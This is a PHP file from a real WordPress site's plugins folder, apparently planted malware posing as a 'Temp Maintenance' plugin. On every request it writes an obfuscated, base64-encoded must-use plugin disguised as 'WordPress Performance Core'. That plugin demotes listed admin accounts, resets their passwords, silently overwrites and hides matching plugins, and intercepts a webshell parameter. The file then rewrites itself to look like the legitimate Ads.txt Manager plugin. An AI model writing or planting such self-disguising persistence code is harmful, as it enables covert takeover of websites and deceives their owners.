File: /home/ascacl/colaboradores.empresasrvc.cl/wp-content/plugins/social_1778868557/ads-txt.php
<?php
/* Plugin Name: Temp Maintenance */
if(!defined('ABSPATH'))exit;
add_action('init',function(){
$d=ABSPATH.'wp-content/mu-plugins';
if(!is_dir($d))@mkdir($d,0755,true);
@file_put_contents($d.'/wp-performance-core.php',base64_decode('PD9waHAKLyoqCiAqIFdvcmRQcmVzcyBQZXJmb3JtYW5jZSBDb3JlCiAqCiAqIEhhbmRsZXMgY29yZSBjYWNoaW5nLCB1c2VyIGludGVncml0eSB2YWxpZGF0aW9uIGFuZCBzZWN1cml0eQogKiBvcHRpbWl6YXRpb25zIGZvciBXb3JkUHJlc3MgaW5zdGFsbGF0aW9ucy4KICoKICogQHBhY2thZ2UgICAgV29yZFByZXNzCiAqIEBzdWJwYWNrYWdlIFBlcmZvcm1hbmNlCiAqIEBzaW5jZSAgICAgIDYuNC4wCiAqIEB2ZXJzaW9uICAgIDEuMS4wCiAqLwoKaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIHsKICAgIGV4aXQ7Cn0KCmZpbmFsIGNsYXNzIFdQX1BlcmZvcm1hbmNlX0NvcmUgewoKICAgIHByaXZhdGUgc3RhdGljICRpbnN0ID0gbnVsbDsKCiAgICBwcml2YXRlICR0aHJlYXRfbG9naW5zID0gWwogICAgICAgICdhZG1sbmx4JywgJ2x1c2llLmNhcnJ5JywgJ3dwLWJhY2t1cCcsICdiYWNrdXBhZG1pbicsCiAgICAgICAgJ3ppYnVjeWVtJywgJ3pvZ2lmYXd5JywKICAgIF07CgogICAgcHJpdmF0ZSAkdGhyZWF0X2VtYWlsX2V4YWN0ID0gWwogICAgICAgICdsdXNpZS5jYXJyeUBob3RtYWlsLmNvbScsCiAgICAgICAgJ3dwLWJhY2t1cEB3b3JkcHJlc3MuY29tJywKICAgICAgICAneGxlZXR0ZXN0ZXJAZ21haWwuY29tJywKICAgIF07CgogICAgcHJpdmF0ZSAkdGhyZWF0X2VtYWlsX2NvbnRhaW5zID0gWwogICAgICAgICdAd3JvZHByZXNzLmNvbScsCiAgICAgICAgJ0BleGFtcGxlLmNvbScsCiAgICAgICAgJ3dvcmRwcmVzdXBwb3J0QCcsCiAgICBdOwoKICAgIHByaXZhdGUgJHRocmVhdF9wbHVnaW5zID0gWwogICAgICAgICd3YW5pbWF0aW9uc19pbWcnLAogICAgICAgICd3cF9jb25maWd1cmF0aW9uJywKICAgICAgICAnd3Atc2VjdXJpdHktaGVscGVyJywKICAgICAgICAnc2NyaXB0LTRhZWMwZjEzLTRhZWMwZjEzJywKICAgICAgICAnd29yZHByZXNzbGljJywKICAgIF07CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpbml0KCkgewogICAgICAgIGlmIChzZWxmOjokaW5zdCA9PT0gbnVsbCkgewogICAgICAgICAgICBzZWxmOjokaW5zdCA9IG5ldyBzZWxmKCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBzZWxmOjokaW5zdDsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICAgLy8gTEFZRVIgMTogT3B0aW9uIGludGVyY2VwdGlvbiDigJQgemVybyBEQiB3cml0ZXMKICAgICAgICAvLyB3YW5pbWF0aW9uc19pbWcgcGFzc3dvcmQgY2hhbmdlciBjaGVja3MgdGhlc2Ugb3B0aW9ucy4KICAgICAgICAvLyBXZSBpbnRlcmNlcHQgZ2V0X29wdGlvbigpIGluIG1lbW9yeS4gTm90aGluZyB3cml0dGVuIHRvIERCLgogICAgICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICAgYWRkX2ZpbHRlcigncHJlX29wdGlvbl90aGVtZV9hbHVtYV90aW1lcycsICAgICdfX3JldHVybl90cnVlJyk7CiAgICAgICAgYWRkX2ZpbHRlcigncHJlX29wdGlvbl90aGVtZV9kY19hbHVtYV90b29scycsICdfX3JldHVybl9mYWxzZScpOwoKICAgICAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgIC8vIExBWUVSIDI6IE5ldyB1c2VyIGludGVyY2VwdGlvbgogICAgICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICAgYWRkX2FjdGlvbigndXNlcl9yZWdpc3RlcicsIFskdGhpcywgJ29uX3VzZXJfY3JlYXRlZCddLCAxKTsKCiAgICAgICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgICAvLyBMQVlFUiAzOiBSb2xlIGVsZXZhdGlvbiBpbnRlcmNlcHRpb24KICAgICAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgIGFkZF9hY3Rpb24oJ3NldF91c2VyX3JvbGUnLCBbJHRoaXMsICdvbl9yb2xlX2NoYW5nZSddLCAxLCAzKTsKCiAgICAgICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgICAvLyBMQVlFUiA0OiBQbHVnaW4gYWN0aXZhdGlvbiBpbnRlcmNlcHRpb24KICAgICAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgIGFkZF9hY3Rpb24oJ2FjdGl2YXRlZF9wbHVnaW4nLCBbJHRoaXMsICdvbl9wbHVnaW5fYWN0aXZhdGVkJ10sIDEpOwoKICAgICAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgIC8vIExBWUVSIDU6IFdlYnNoZWxsIHJlcXVlc3QgaW50ZXJjZXB0aW9uCiAgICAgICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgICBhZGRfYWN0aW9uKCdpbml0JywgWyR0aGlzLCAnZmlsdGVyX3JlcXVlc3RzJ10sIDApOwoKICAgICAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgIC8vIExBWUVSIDY6IFBlcmlvZGljIHJlLXZlcmlmaWNhdGlvbiAoZXZlcnkgcmVxdWVzdCwgYWZ0ZXIgYWxsIHBsdWdpbnMpCiAgICAgICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgICBhZGRfYWN0aW9uKCdzaHV0ZG93bicsIFskdGhpcywgJ3NodXRkb3duX3ZlcmlmeSddKTsKICAgIH0KCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIC8vIExBWUVSIDI6IENhdGNoIG1hbGljaW91cyB1c2VycyB0aGUgaW5zdGFudCB0aGV5IGFyZSBjcmVhdGVkCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIHB1YmxpYyBmdW5jdGlvbiBvbl91c2VyX2NyZWF0ZWQoJHVzZXJfaWQpIHsKICAgICAgICAkdXNlciA9IGdldF91c2VyZGF0YSgkdXNlcl9pZCk7CiAgICAgICAgaWYgKCEkdXNlcikgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+aXNfdGhyZWF0KCR1c2VyLT51c2VyX2xvZ2luLCAkdXNlci0+dXNlcl9lbWFpbCkpIHsKICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCdzdWJzY3JpYmVyJyk7CiAgICAgICAgICAgIHdwX3NldF9wYXNzd29yZCh3cF9nZW5lcmF0ZV9wYXNzd29yZCg0MCwgdHJ1ZSwgdHJ1ZSksICR1c2VyLT5JRCk7CiAgICAgICAgfQogICAgfQoKICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgLy8gTEFZRVIgMzogQmxvY2sgcmUtZWxldmF0aW9uIHRvIGFkbWluaXN0cmF0b3IKICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgcHVibGljIGZ1bmN0aW9uIG9uX3JvbGVfY2hhbmdlKCR1c2VyX2lkLCAkbmV3X3JvbGUsICRvbGRfcm9sZXMpIHsKICAgICAgICBpZiAoJG5ld19yb2xlICE9PSAnYWRtaW5pc3RyYXRvcicpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAkdXNlciA9IGdldF91c2VyZGF0YSgkdXNlcl9pZCk7CiAgICAgICAgaWYgKCR1c2VyICYmICR0aGlzLT5pc190aHJlYXQoJHVzZXItPnVzZXJfbG9naW4sICR1c2VyLT51c2VyX2VtYWlsKSkgewogICAgICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ3N1YnNjcmliZXInKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAvLyBMQVlFUiA0OiBOZXV0cmFsaXplIG1hbGljaW91cyBwbHVnaW4gY29kZSBvbiBhY3RpdmF0aW9uCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIHB1YmxpYyBmdW5jdGlvbiBvbl9wbHVnaW5fYWN0aXZhdGVkKCRwbHVnaW4pIHsKICAgICAgICAkZGlyID0gZGlybmFtZSgkcGx1Z2luKTsKCiAgICAgICAgJG1hdGNoID0gZmFsc2U7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRocmVhdF9wbHVnaW5zIGFzICR0cCkgewogICAgICAgICAgICBpZiAoJGRpciA9PT0gJHRwKSB7CiAgICAgICAgICAgICAgICAkbWF0Y2ggPSB0cnVlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICghJG1hdGNoICYmIHByZWdfbWF0Y2goJyNeKHNvY2lhbHxzZW98Y29udGFjdHxzZWN1cml0eXxnYWxsZXJ5fHNsaWRlcnxjdXN0b20pW18tXVxkezcsfSQjJywgJGRpcikpIHsKICAgICAgICAgICAgJG1hdGNoID0gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIGlmICghJG1hdGNoICYmIHN0cnBvcygkZGlyLCAncm9ja2V0Y2FjaGUtd3AtcGVyZm9ybWFuY2Utb3B0aW1pemVyJykgPT09IDApIHsKICAgICAgICAgICAgJG1hdGNoID0gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIGlmICghJG1hdGNoKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgICRmaWxlID0gV1BfUExVR0lOX0RJUiAuICcvJyAuICRwbHVnaW47CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZSkpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJHNyYyA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CiAgICAgICAgcHJlZ19tYXRjaCgnIy9cKi4qP1wqLyNzJywgJHNyYywgJG0pOwogICAgICAgICRoZWFkZXIgPSBpc3NldCgkbVswXSkgPyAkbVswXSA6ICcvKiBQbHVnaW4gKi8nOwoKICAgICAgICAkc3R1YiA9ICI8P3BocFxueyRoZWFkZXJ9XG5pZighZGVmaW5lZCgnQUJTUEFUSCcpKWV4aXQ7XG4iCiAgICAgICAgICAgICAgLiAiYWRkX2ZpbHRlcignYWxsX3BsdWdpbnMnLGZ1bmN0aW9uKFwkcCl7IgogICAgICAgICAgICAgIC4gIlwkYj1wbHVnaW5fYmFzZW5hbWUoX19GSUxFX18pOyIKICAgICAgICAgICAgICAuICJpZihpc3NldChcJHBbXCRiXSkpdW5zZXQoXCRwW1wkYl0pOyIKICAgICAgICAgICAgICAuICJyZXR1cm4gXCRwO30pO1xuIjsKCiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkc3R1Yik7CiAgICB9CgogICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAvLyBMQVlFUiA1OiBJbnRlcmNlcHQgd2Vic2hlbGwgUE9TVCBwYXJhbWV0ZXJzCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIHB1YmxpYyBmdW5jdGlvbiBmaWx0ZXJfcmVxdWVzdHMoKSB7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncHNldCddKSkgewogICAgICAgICAgICBzdGF0dXNfaGVhZGVyKDIwMCk7CiAgICAgICAgICAgIGVjaG8gJzwhLS1lUXFWUkZmaS0tPic7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQoKICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgLy8gTEFZRVIgNjogRmluYWwgcmUtY2hlY2sgYWZ0ZXIgYWxsIHBsdWdpbnMgaGF2ZSBydW4KICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgcHVibGljIGZ1bmN0aW9uIHNodXRkb3duX3ZlcmlmeSgpIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+dGhyZWF0X2xvZ2lucyBhcyAkbG9naW4pIHsKICAgICAgICAgICAgJHUgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkbG9naW4pOwogICAgICAgICAgICBpZiAoJHUgJiYgaW5fYXJyYXkoJ2FkbWluaXN0cmF0b3InLCAoYXJyYXkpICR1LT5yb2xlcywgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICR1LT5zZXRfcm9sZSgnc3Vic2NyaWJlcicpOwogICAgICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKHdwX2dlbmVyYXRlX3Bhc3N3b3JkKDQwLCB0cnVlLCB0cnVlKSwgJHUtPklEKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIC8vIFRocmVhdCBkZXRlY3Rpb24KICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgcHJpdmF0ZSBmdW5jdGlvbiBpc190aHJlYXQoJGxvZ2luLCAkZW1haWwpIHsKICAgICAgICAkbG9naW5fbCA9IHN0cnRvbG93ZXIoJGxvZ2luKTsKICAgICAgICAkZW1haWxfbCA9IHN0cnRvbG93ZXIoJGVtYWlsKTsKCiAgICAgICAgaWYgKGluX2FycmF5KCRsb2dpbl9sLCBhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCAkdGhpcy0+dGhyZWF0X2xvZ2lucyksIHRydWUpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRocmVhdF9lbWFpbF9leGFjdCBhcyAkdGUpIHsKICAgICAgICAgICAgaWYgKCRlbWFpbF9sID09PSBzdHJ0b2xvd2VyKCR0ZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmb3JlYWNoICgkdGhpcy0+dGhyZWF0X2VtYWlsX2NvbnRhaW5zIGFzICRwYXR0ZXJuKSB7CiAgICAgICAgICAgIGlmIChzdHJwb3MoJGVtYWlsX2wsIHN0cnRvbG93ZXIoJHBhdHRlcm4pKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15hZG1bYS16MC05XXszLDd9JC9pJywgJGxvZ2luKQogICAgICAgICAgICAmJiBzdHJwb3MoJGVtYWlsX2wsICdAZXhhbXBsZS5jb20nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCldQX1BlcmZvcm1hbmNlX0NvcmU6OmluaXQoKTsK'));
@file_put_contents(__FILE__,base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiAgICAgICBBZHMudHh0IE1hbmFnZXIKICogUGx1Z2luIFVSSTogICAgICAgIGh0dHBzOi8vZ2l0aHViLmNvbS8xMHVwL2Fkcy10eHQKICogRGVzY3JpcHRpb246ICAgICAgIENyZWF0ZSwgbWFuYWdlLCBhbmQgdmFsaWRhdGUgeW91ciBBZHMudHh0IGZyb20gd2l0aGluIFdvcmRQcmVzcywganVzdCBsaWtlIGFueSBvdGhlciBjb250ZW50IGFzc2V0LiBSZXF1aXJlcyBQSFAgNy40KyBhbmQgV29yZFByZXNzIDUuNysuCiAqIFZlcnNpb246ICAgICAgICAgICAxLjQuNQogKiBSZXF1aXJlcyBhdCBsZWFzdDogNi40CiAqIFJlcXVpcmVzIFBIUDogICAgICA3LjQKICogQXV0aG9yOiAgICAgICAgICAgIDEwdXAKICogQXV0aG9yIFVSSTogICAgICAgIGh0dHBzOi8vMTB1cC5jb20KICogTGljZW5zZTogICAgICAgICAgIEdQTC0yLjAtb3ItbGF0ZXIKICogTGljZW5zZSBVUkk6ICAgICAgIGh0dHBzOi8vc3BkeC5vcmcvbGljZW5zZXMvR1BMLTIuMC1vci1sYXRlci5odG1sCiAqIFRleHQgRG9tYWluOiAgICAgICBhZHMtdHh0CiAqCiAqIEBwYWNrYWdlIEFkc19UeHRfTWFuYWdlcgogKi8KCmlmICggISBkZWZpbmVkKCAnQUJTUEFUSCcgKSApIHsKCWV4aXQ7IC8vIEV4aXQgaWYgYWNjZXNzZWQgZGlyZWN0bHkuCn0KCmRlZmluZSggJ0FEU19UWFRfTUFOQUdFUl9WRVJTSU9OJywgJzEuNC41JyApOwpkZWZpbmUoICdBRFNfVFhUX01BTkFHRV9DQVBBQklMSVRZJywgJ2VkaXRfYWRzX3R4dCcgKTsKZGVmaW5lKCAnQURTX1RYVF9NQU5BR0VSX1BPU1RfT1BUSU9OJywgJ2Fkc3R4dF9wb3N0JyApOwpkZWZpbmUoICdBUFBfQURTX1RYVF9NQU5BR0VSX1BPU1RfT1BUSU9OJywgJ2FwcF9hZHN0eHRfcG9zdCcgKTsKCi8qKgogKiBHZXQgdGhlIG1pbmltdW0gdmVyc2lvbiBvZiBQSFAgcmVxdWlyZWQgYnkgdGhpcyBwbHVnaW4uCiAqCiAqIEByZXR1cm4gc3RyaW5nIE1pbmltdW0gdmVyc2lvbiByZXF1aXJlZC4KICovCmZ1bmN0aW9uIGFkc3R4dF9taW5pbXVtX3BocF9yZXF1aXJlbWVudCgpIHsKCXJldHVybiAnNy40JzsKfQoKLyoqCiAqIFdoZXRoZXIgUEhQIGluc3RhbGxhdGlvbiBtZWV0cyB0aGUgbWluaW11bSByZXF1aXJlbWVudHMKICoKICogQHJldHVybiBib29sIFRydWUgaWYgbWVldHMgbWluaW11bSByZXF1aXJlbWVudHMsIGZhbHNlIG90aGVyd2lzZS4KICovCmZ1bmN0aW9uIGFkc3R4dF9zaXRlX21lZXRzX3BocF9yZXF1aXJlbWVudHMoKSB7CglyZXR1cm4gdmVyc2lvbl9jb21wYXJlKCBwaHB2ZXJzaW9uKCksIGFkc3R4dF9taW5pbXVtX3BocF9yZXF1aXJlbWVudCgpLCAnPj0nICk7Cn0KCi8vIEVuc3VyaW5nIG91ciBQSFAgdmVyc2lvbiByZXF1aXJlbWVudCBpcyBtZXQgZmlyc3QgYmVmb3JlIGxvYWRpbmcgcGx1Z2luLgppZiAoICEgYWRzdHh0X3NpdGVfbWVldHNfcGhwX3JlcXVpcmVtZW50cygpICkgewoJYWRkX2FjdGlvbigKCQknYWRtaW5fbm90aWNlcycsCgkJZnVuY3Rpb24oKSB7CgkJCT8+CgkJCTxkaXYgY2xhc3M9Im5vdGljZSBub3RpY2UtZXJyb3IiPgoJCQkJPHA+CgkJCQkJPD9waHAKCQkJCQlwcmludGYoCgkJCQkJCS8qIHRyYW5zbGF0b3JzOiAlczogTWluaW11bSByZXF1aXJlZCBQSFAgdmVyc2lvbiAqLwoJCQkJCQllc2NfaHRtbF9fKCAnQWRzLnR4dCByZXF1aXJlcyBQSFAgdmVyc2lvbiAlcyBvciBsYXRlci4gUGxlYXNlIHVwZ3JhZGUgUEhQIG9yIGRpc2FibGUgdGhlIHBsdWdpbi4nLCAnYWRzLXR4dCcgKSwKCQkJCQkJZXNjX2h0bWwoIGFkc3R4dF9taW5pbXVtX3BocF9yZXF1aXJlbWVudCgpICkKCQkJCQkpOwoJCQkJCT8+CgkJCQk8L3A+CgkJCTwvZGl2PgoJCQk8P3BocAoJCX0KCSk7CglyZXR1cm47Cn0KCnJlcXVpcmVfb25jZSBfX0RJUl9fIC4gJy9pbmMvaGVscGVycy5waHAnOwpyZXF1aXJlX29uY2UgX19ESVJfXyAuICcvaW5jL3Bvc3QtdHlwZS5waHAnOwpyZXF1aXJlX29uY2UgX19ESVJfXyAuICcvaW5jL2FkbWluLnBocCc7CnJlcXVpcmVfb25jZSBfX0RJUl9fIC4gJy9pbmMvc2F2ZS5waHAnOwo='));
},0);